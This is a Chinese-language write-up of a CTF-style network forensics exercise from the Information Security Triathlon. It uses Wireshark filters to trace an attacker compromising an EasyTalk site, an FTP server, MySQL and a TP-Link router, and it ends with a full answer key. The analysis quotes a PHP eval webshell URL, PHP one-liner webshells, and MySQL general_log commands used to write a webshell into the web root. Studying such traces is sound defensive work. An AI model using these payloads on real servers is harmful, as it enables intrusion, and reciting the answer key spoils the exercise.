5月18号 信息安全铁人三项赛分区赛数据包分析练习
1. 数据包下载链接 1 链接:https:// pan.baidu.com/s/ 1 KvA2SBuHHPCgYjLA7Q7Ysw 提取码:ifgd
2. 题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 1 .黑客的IP是多少2 .服务器1 .99 的web服务器使用的CMS及其版本号(请直接复制)3 .服务器拿到的webshell的网址(请输入url解码后的网址)4 .服务器1 .99 的主机名5 .网站根目录的绝对路径(注意最后加斜杠)6 .黑客上传的第一个文件名称是什么7 .黑客进行内网扫描,扫描的端口都有哪些(端口从小到大,用英文逗号分隔)8 .服务器2 .88 的ftp服务账号密码(格式:账号/密码)9 .黑客成功登陆ftp的时间(格式:10 :15 :36 )10 .黑客在ftp中下载的敏感文件名称是什么11 .服务器2 .88 中用户名为admin_zz的web后台管理员的密码12 .服务器2 .88 的mysql账号密码(格式:账号/密码)13 .服务器2 .88 的mysql服务中有和admin有关的三个表,请按照黑客的查询顺序作答,使用空格分隔14 .请列出黑客设置的genreal log的绝对路径(将路径复制出来,区分大小写)15 .路由器的品牌、型号、版本(请直接复制粘贴)16 .列出路由器的所有IP地址(格式:从小到大,用英文逗号分隔)17 .在路由器的端口监控中,监控端口和被监控端口分别是多少,例,1 号端口监控2 /3 /4 号端口:1 —>2 ,3 ,4 18 .路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)19 .路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例: 255 255 .255 .0 则为24 (格式:用英文逗号分隔)20 .路由器的5 Gwif名称是什么,信道是多少(格式:名称信道)
3. 数据包分析过程 首先过滤一下HTTP
,大致浏览一下,发现有一个可疑的包含phpinfo()
的http
请求。
追踪一下TCP
流,可以看到`phpinfo()被成功执行了。
可以知道黑客的IP为202.1.1.2
,受到攻击的主机IP为192.168.1.99
执行命令的漏洞POC
是
1 Expert Info (Chat/Sequence): GET /index.php/module/action/param1 /%7 B$%7 Bphpinfo()%7 D%7 D HTTP/1 .1 \r\n
tcp.stream eq 509 phpinfo()信息
构造过滤规则 接下来要求CMS
的版本号,一般来说,网站的版本信息都会在网站的最底部。 过滤一下受害主机的响应包。
1 http and ip .src == 192 .168 .1 .99
随便找一个正常的响应包,追踪一下TCP
流,在下面可以找到Powered By EasyTalk X2.0.1
又要拿到WebShell
的网址,从我们找到的POC
来看,在请求中携带代码是能够直接执行的。
构造过滤规则
1 http contains "index.php/module/action/param1" and ip .addr == 192 .168 .1 .99
所以拿到Webshell
的网址是
1 http://202.1.1.1/index.php/module/action/param1/${@print(eval($_POST [c ]))}
下一个题目要1.99
的主机名。
一般来说在phpinfo()
中,我们能够收集到大量的信息。
也就是
追踪一下,将其网页源码保存到本地,使用浏览器打开。 可知主机名是
网站根目录的绝对路径是
要找黑客上传的第一个文件,猜测黑客是利用之前的WebShell来上传的。 因此构造过滤规则
1 http.request.method == POST and http contains "/index.php/module/action/param1" and ip .addr == 192 .168 .1 .99
使用菜刀上传文件的话,文件一般会被16进制编码,所有可以很容易找到上传文件的请求与响应。
No.280958
请求
1 2 Form item: "z1" = "L3Zhci93d3cvaHRtbC9lYXN5dGFsay9zY2FuLnBocA==" /var/ www/html/ easytalk/scan.php
可以知道黑客上传了一个scan.php
的文件。
猜测scan.php
正是后面黑客进行内网扫描的工具。 构造
1 http contains "scan.php" and ip .addr == 192 .168 .1 .99
可知黑客对21,80,1433,8080,3306
端口进行了扫描 追踪一下流
有内网探测结果,但是不全。估计是在下一个流量包中,没有扫描完毕。 根据下一个题目过滤一下FTP
没有任何结果。
打开第二个数据包
1 ftp and ip .addr == 192 .168 .2 .88
可以找到ftp登录成功的数据记录,账号/密码为
登录时间为
直接追踪一下FTP
登录成功后的数据流,可以看到黑客执行的命令,但并没有下载文件。
打开第三个数据包
1 ftp and ip .addr == 192 .168 .2 .88
直接追踪TCP
流
可以看到,黑客下载了config_db.php
这个文件
直接使用ftp-data
过滤,可以找到config_db.php
的内容
要想获取We
b管理员admin_zz
的密码。从登录流程和数据库下手。
追踪一下TCP
流
根据响应的重定向url
1 Location: http:// 192.168 .2.88 /admin/i ndex.php?lang=cn&n=ui_set&pageset=1
可以认为黑客成功登录了网站后台。
后面一题问的是2.88
的MySQL
账号密码,从config_db.php
可以获得。
直接过滤MySQL
数据,可以发现有192.168.1.99
对192.168.2.88
的查询请求,追踪一下TCP
流。 只看请求:
所以黑客执行了
1 2 3 4 5 6 7 select @@version_comment limit 1 show databasesSELECT DATABASE ()show tables select * from met_admin_arrayselect * from met_admin_columnselect * from met_admin_table
因此13题答案是
1 met_admin_array, met_admin_column,met_admin_table
尝试mysql contains genreal
,没有发现。
打开第四个数据包使用上述过滤规则也没有发现。。
直接查看一下MySQL
数据吧、
1 mysql and ip .addr == 192 .168 .2 .88
可以知道黑客又重新登录了一次,两个TCP
流分别进行追踪。
黑客尝试直接利用MySQL
写马。
1 select ' <?php eval ($_POST [a]);?> ' into outfile 'c:/phpStudy/WWW/aaa.php'
但是报错了
1 The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
看后面黑客查询并开启了general log
1 set global general_log ='on'
下一个TCP
流。
可以看到黑客修改了log
路径
1 set global general_log_file ='c:/phpStudy/WWW/config/config.php'
然后执行
1 select ' <?php @eval ($_POST [a]);?> '
来写马
后面是路由器的流量分析,没接触过。。
不过路由器一般是作为网关的而且一般都有一个Web
管理界面。 当务之急是找到网关IP
,
直接过滤一下arp
。
这就得到了网关IP 192.168.0.1
尝试过滤
1 http and ip .addr == 192 .168 .0 .1
没有发现
尝试在其他数据包查找, 在第一个数据包中找到了1.99
对0.1
的http访问流量 要对路由器进行管理的话,一般是需要登录一下的,管理界面是在登录之后,往后找找
可以看到在这里登录成功了
1 { "id" :1 , "result" :{ "locale" :"zh_CN" , "force" :false , "radio" :2 , "model" :"TL-WAR1300L v1.0" }, "error_code" :"0" }
从返回的json
数据中,可以获得路由器的model
值是TL-WAR1300L v1.0
后面又问了路由器的所有IP
地址,在他的Web
管理界面应该可以找到。 继续往下翻
从请求来看,这个路由器管理界面通过JS
来实现的动态页面,使用json
来作为与服务器之间的信息传输格式。
1 2 3 4 5 6 7 No .433619 tcp .stream eq 1812 lan .jsNo .435490 setting .jstcp .stream eq 1843
1 2 No.482107 POST /webpages/ data/advanced.menu.json HTTP/ 1.1 \r\n
No.483716
追踪一下,查看一下返回的json
数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 { "id" : 1 , "result" : { "normal" : [ { "py_isup" : true , "ipaddr" : "202.1.1.1" , "t_type" : "ethernet" , "t_isup" : "connect" , "t_name" : "WAN1" , "t_linktype" : "static" }, { "py_isup" : true , "ipaddr" : "192.168.12.173" , "t_type" : "ethernet" , "t_isup" : "internet" , "t_name" : "WAN2" , "t_linktype" : "dhcp" }, { "py_isup" : true , "ipaddr" : "192.168.0.1" , "dhcp_status" : "on" , "t_type" : "ethernet" , "t_name" : "LAN1" , "t_isup" : "connect" , "t_linktype" : "static" }, { "py_isup" : true , "ipaddr" : "192.168.0.1" , "dhcp_status" : "on" , "t_type" : "ethernet" , "t_name" : "LAN2" , "t_isup" : "connect" , "t_linktype" : "static" }, { "py_isup" : false , "ipaddr" : "192.168.0.1" , "dhcp_status" : "on" , "t_type" : "ethernet" , "t_name" : "LAN3" , "t_isup" : "disconnect" , "t_linktype" : "static" } ] }, "error_code" : "0" }
可知路由器的WAN1`` WAN2`` LAN1`` LAN2
已经连接 IP地址分别为
1 2 3 202.1.1.1 192.168.12.173 192.168.0.1
再往下
在lan.js
中可以查到 涉及端口监控的都携带有MONITOR
经过查找可知在advanced.menu.json
中有port-monitor
这一项
路由器拥有五个接口
再看第17题,一般来说,路由器的端口监控,就是端口镜像,将多个端口的流量转发到一个端口上来实现对流量的监控
1 { "id" :1 , "result" :{ "state" :"on" , "mode" :"both" , "mirroredports" :[ "1" , "2" ], "mirrorport" :"3" }, "error_code" :"0" }
可知3号端口是1号和2号的镜像,也就是3->1,2
接下来要找系统路由表
1 http contains "route" and ip .addr == 192 .168 .0 .1
根据URL猜测为最后一条.
追踪一下TCP
流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 { "id" : 1 , "result" : [ { "metric" : "0" , "gateway" : "192.168.12.254" , "mask" : "0.0.0.0" , "dest" : "0.0.0.0" , "interface" : "WAN2" }, { "metric" : "0" , "gateway" : "0.0.0.0" , "mask" : "255.0.0.0" , "dest" : "127.0.0.0" , "interface" : "lo" }, { "metric" : "0" , "gateway" : "0.0.0.0" , "mask" : "255.255.252.0" , "dest" : "192.168.0.0" , "interface" : "LAN" }, { "metric" : "0" , "gateway" : "0.0.0.0" , "mask" : "255.255.255.0" , "dest" : "192.168.12.0" , "interface" : "WAN2" }, { "metric" : "0" , "gateway" : "0.0.0.0" , "mask" : "255.255.255.0" , "dest" : "202.1.1.0" , "interface" : "WAN1" } ], "error_code" : "0" }
可知第三条的子网掩码是255.255.252.0
然后要找5Gwifi
..
1 http contains "5G" and ip .addr == 192 .168 .0 .1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 { "id" : 1 , "result" : { "0" : { "mssid" : [ "test-ge1" ], "wds" : "off" , "channel" : 1 , "mode" : "11bgn mixed" , "radio_enable" : "on" , "amount" : 1 , "frequency" : "2.4G" }, "1" : { "mssid" : [ "test-ge1" ], "wds" : "off" , "channel" : 36 , "mode" : "11anac mixed" , "radio_enable" : "on" , "amount" : 0 , "frequency" : "5G" }, "2" : { "mssid" : [ "TP-LINK_GUEST_6258" ], "amount" : 0 , "mode" : "11bgn mixed" , "radio_enable" : "off" , "frequency" : "visitor" } }, "error_code" : "0" }
所以最后一题答案为test-ge136
4. 最后答案 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 1 .黑客的IP是多少202.1 .1.2 2 .服务器1.99 的web服务器使用的CMS及其版本号(请直接复制) EasyTalk X2.0.1 3 .服务器拿到的webshell的网址(请输入url解码后的网址) http:// 202.1 .1.1 /index.php/m odule/action/ param1/${@print(eval($_POST[c]))} 4 .服务器1.99 的主机名 simplefight15 .网站根目录的绝对路径(注意最后加斜杠)/var/ www/html/ easytalk/6 .黑客上传的第一个文件名称是什么 scan.php7 .黑客进行内网扫描,扫描的端口都有哪些(端口从小到大,用英文逗号分隔)21 ,80 ,1433 ,8080 ,3306 8 .服务器2.88 的ftp服务账号密码(格式:账号/密码) administrator/123456 9 .黑客成功登陆ftp的时间(格式:10 :15 :36 )14 :07 :15 10 .黑客在ftp中下载的敏感文件名称是什么 config_db.php11 .服务器2.88 中用户名为admin_zz的web后台管理员的密码1 q2w3e4r12 .服务器2.88 的mysql账号密码(格式:账号/密码) localhost/S1mp13zz13 .服务器2.88 的mysql服务中有和admin有关的三个表,请按照黑客的查询顺序作答,使用空格分隔 met_admin_array,met_admin_column,met_admin_table14 .请列出黑客设置的genreal log的绝对路径(将路径复制出来,区分大小写) c:/phpStudy/ WWW/config/ config.php15 .路由器的品牌、型号、版本(请直接复制粘贴) TL-WAR1300L v1.0 16 .列出路由器的所有IP地址(格式:从小到大,用英文逗号分隔)192.168 .0.1 ,192.168 .12.173 ,202.1 .1.1 17 .在路由器的端口监控中,监控端口和被监控端口分别是多少,例,1 号端口监控2 /3/ 4 号端口:1 —>2 ,3 ,4 3 ->1 ,2 18 .路由器一共有几个接口?其中有几个WAN口启用?有几个LAN口启用(格式:用英文逗号分隔)5 ,2 ,2 19 .路由器的系统路由表中一共有几条?第三条的子网掩码是多少。例: 255 255.255 .0 则为24 (格式:用英文逗号分隔)255.255 .252.0 20 .路由器的5 Gwif名称是什么,信道是多少(格式:名称信道) test-ge136